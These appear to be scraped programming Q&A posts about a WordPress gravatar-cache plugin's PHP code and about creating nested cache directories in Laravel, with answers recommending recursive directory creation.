if( $update_val_options['ttl_min'] == 0 && $update_val_options['ttl_hour'] == 0 && $update_val_options['ttl_day'] == 0 ) {
$update_val_options['ttl_day'] = 10;
}
update_option( 'nf_c_a_options', array( $update_val_options ) );
}
$options = get_option( 'nf_c_a_options' );
include( $this->get_template_path() .'/main-options-page.php');
}
private function clear_cache() {
$dir = $this->upload_path.'/gravatar/';
$no_permision_to_delete = false;
// Open directory
if ( is_dir( $dir ) ) {
if ( $opendir = opendir( $dir ) ) {
$count = 0;
while ( ( $file = readdir( $opendir ) ) !== false ) {
if ( filetype( $dir . $file ) == 'file' ) {
if ( #unlink( $dir . $file ) ) {
$count++;
}else {
$no_permision_to_delete = true;
}
}
}
if ( $no_permision_to_delete ) {
NFGC_Messages::add_message( 'error','Unable to clear the cache' );
}else{
update_option('nf_avatars_cache', array() );
NFGC_Messages::add_message( 'info','The cache is cleared!' );
NFGC_Messages::add_message( 'info','Removed '.$count.' files' );
}
closedir( $opendir );
}
}
}
// return count and size
public function get_cache_info() {
$dir = $this->upload_path.'/gravatar/';
$skip = array('.','..');
$unit = array('b', 'kb', 'mb', 'gb', 'tb', 'pb');
if ( is_dir( $dir ) ) {
$file_list = scandir( $dir );
// delete . and ..
foreach ( $skip as $value ) {
unset( $file_list[ array_search( $value, $file_list ) ] );
}
// sum files size
foreach ( $file_list as $file ) {
$size = filesize( $dir . $file );
$all_size = $all_size + $size;
}
}
$readable_form = #round( $all_size / pow( 1024, ( $i = floor( log( $all_size, 1024) ) ) ), 2 ) . ' ' . $unit[$i];
return array( 'amount' => count( $file_list ) , 'used_space' => $readable_form );
}
private function init() {
return false;
wp_enqueue_script( 'nfgc-main-script', plugins_url( '/js/main.js', __FILE__ ), array('jquery') );
wp_enqueue_style( 'nfgc-main-style', plugins_url( '/css/style.css', __FILE__ ) );
}
}// Class
global $nfgc;
$nfgc = new NFGC_Gravatar_Cache();
add_action('wp_enqueue_scripts', function() {
wp_enqueue_script( 'nfgc-main-script', plugins_url( '/js/main.js', __FILE__ ), array('jquery') );
wp_enqueue_style( 'nfgc-main-style', plugins_url( '/css/style.css', __FILE__ ) );
});
`
Try this..
Use file_exists
Returns TRUE if the file or directory specified by filename exists; FALSE otherwise.
if (file_exists($redirect_url)) {
$g_url = $g_url_default;
$g_path = $g_path_default;
if (! is_file($g_path) || (time()-filemtime($g_path)) > $time) {
copy($redirect_url, $g_path);
}
}
http://php.net/manual/en/function.file-exists.php
I have created this function within a Class, And though it works, I think Its messy and can be simplified easily, What technique can i use to simplify this? Though i can use foreach, Every time it will make new directory in the Cache folder instead of creating directory within parent directory.
Example : $directory = 'page/subpage/homepage'
public static function add_directory( $directory, $cache_path ) {
$all_directories = explode( '/', $directory );
$total_directories = count( $all_directories );
if( $total_directories == 1 ) {
if( ! File::exists( $cache_path.'/'.$all_directories[0] ) ) {
File::makeDirectory( $cache_path.'/'.$all_directories[0] );
}
}
else if( $total_directories == 2 ) {
if( ! File::exists( $cache_path.'/'.$all_directories[0] ) ) {
File::makeDirectory( $cache_path.'/'.$all_directories[0] );
}
if( ! File::exists( $cache_path.'/'.$all_directories[0].'/'.$all_directories[1] ) ) {
File::makeDirectory( $cache_path.'/'.$all_directories[0].'/'.$all_directories[1] );
}
}
else if( $total_directories == 3 ) {
if( ! File::exists( $cache_path.'/'.$all_directories[0] ) ) {
File::makeDirectory( $cache_path.'/'.$all_directories[0] );
}
if( ! File::exists( $cache_path.'/'.$all_directories[0].'/'.$all_directories[1] ) ) {
File::makeDirectory( $cache_path.'/'.$all_directories[0].'/'.$all_directories[1] );
}
if( ! File::exists( $cache_path.'/'.$all_directories[0].'/'.$all_directories[1].'/'.$all_directories[2] ) ) {
File::makeDirectory( $cache_path.'/'.$all_directories[0].'/'.$all_directories[1].'/'.$all_directories[2] );
}
}
else if( $total_directories == 4 ) {
if( ! File::exists( $cache_path.'/'.$all_directories[0] ) ) {
File::makeDirectory( $cache_path.'/'.$all_directories[0] );
}
if( ! File::exists( $cache_path.'/'.$all_directories[0].'/'.$all_directories[1] ) ) {
File::makeDirectory( $cache_path.'/'.$all_directories[0].'/'.$all_directories[1] );
}
if( ! File::exists( $cache_path.'/'.$all_directories[0].'/'.$all_directories[1].'/'.$all_directories[2] ) ) {
File::makeDirectory( $cache_path.'/'.$all_directories[0].'/'.$all_directories[1].'/'.$all_directories[2] );
}
if( ! File::exists( $cache_path.'/'.$all_directories[0].'/'.$all_directories[1].'/'.$all_directories[2].'/'.$all_directories[3] ) ) {
File::makeDirectory( $cache_path.'/'.$all_directories[0].'/'.$all_directories[1].'/'.$all_directories[2].'/'.$all_directories[3] );
}
}
else {}
}
Thanks.
You can specify whether you want to create directories recursively by setting true to your File::makeDirectory()'s third argument, so you can replace your entire code with something like this:
public static function add_directory( $directory, $cache_path ) {
if (!File::exists( $cache_path.'/'.$directory)) {
File::makeDirectory($cache_path . '/' . $directory, 0755, true);
}
}
Reference: Looks like it is not documented but it is in Laravel's source code for filesystem/Filesystem.php:
public function makeDirectory($path, $mode = 0755, $recursive = false, $force = false)
{
if ($force)
{
return #mkdir($path, $mode, $recursive);
}
else
{
return mkdir($path, $mode, $recursive);
}
}
From looking at your code - I dont see why this wouldnt work?
public static function add_directory( $directory, $cache_path ) {
if( ! File::exists( $cache_path.'/'.$directory ) ) {
File::makeDirectory( $cache_path.'/'.$directory );
}
}
There doesnt seem to need to be any need to 'explode' the array then rebuild it? This will build all the sub-directories along with it I believe...